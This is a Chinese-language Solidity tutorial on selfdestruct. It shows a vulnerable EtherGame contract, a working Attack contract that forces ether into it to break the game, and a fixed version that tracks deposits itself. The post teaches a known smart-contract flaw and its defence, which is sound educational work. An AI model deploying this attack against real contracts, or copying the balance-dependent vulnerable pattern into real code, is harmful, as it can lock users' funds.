3分钟Solidity: 11.3 自毁selfdestruct

56 阅读2分钟

欢迎订阅专栏3分钟Solidity--智能合约--Web3区块链技术必学

如需获取本内容的最新版本,请参见 Cyfrin.io 上的自毁(代码示例)

合约可以通过调用selfdestruct从区块链上删除。

selfdestruct会将合约中存储的所有剩余以太币发送到指定地址。

漏洞

恶意合约可以利用 selfdestruct强制向任何合约发送以太币。

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

// 本游戏的目标是成为第7位存入1以太币的玩家。
// 玩家每次只能存入1以太币。
// 获胜者将能够提取所有以太币。

/*
1.  部署EtherGame
2.  玩家(例如Alice和Bob)决定参与游戏,每人存入1个以太币。
3.  部署Attack合约并传入EtherGame地址
4.  调用Attack.attack发送5个以太币。这将破坏游戏

    没有人能成为赢家。

发生了什么?

Attack强制使EtherGame的余额变为7个以太币。
现在没有人可以存款,也无法设定赢家。
*/

contract EtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        uint256 balance = address(this).balance;
        require(balance <= TARGET_AMOUNT, "Game is over");

        if (balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");

        (bool sent,) = msg.sender.call{value: address(this).balance}("");
        require(sent, "Failed to send Ether");
    }
}

contract Attack {
    EtherGame etherGame;

    constructor(EtherGame _etherGame) {
        etherGame = EtherGame(_etherGame);
    }

    function attack() public payable {
        // You can simply break the game by sending ether so that
        // the game balance >= 7 ether

        // cast address to payable
        address payable addr = payable(address(etherGame));
        selfdestruct(addr);
    }
}

预防性技术

不要依赖 address(this).balance

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.26;

contract EtherGame {
    uint256 public constant TARGET_AMOUNT = 7 ether;
    uint256 public balance;
    address public winner;

    function deposit() public payable {
        require(msg.value == 1 ether, "You can only send 1 Ether");

        balance += msg.value;
        require(balance <= TARGET_AMOUNT, "Game is over");

        if (balance == TARGET_AMOUNT) {
            winner = msg.sender;
        }
    }

    function claimReward() public {
        require(msg.sender == winner, "Not winner");
        uint256 amount = balance;
        balance = 0;
        (bool sent,) = msg.sender.call{value: amount}("");
        require(sent, "Failed to send Ether");
    }
}

Remix Lite 尝试一下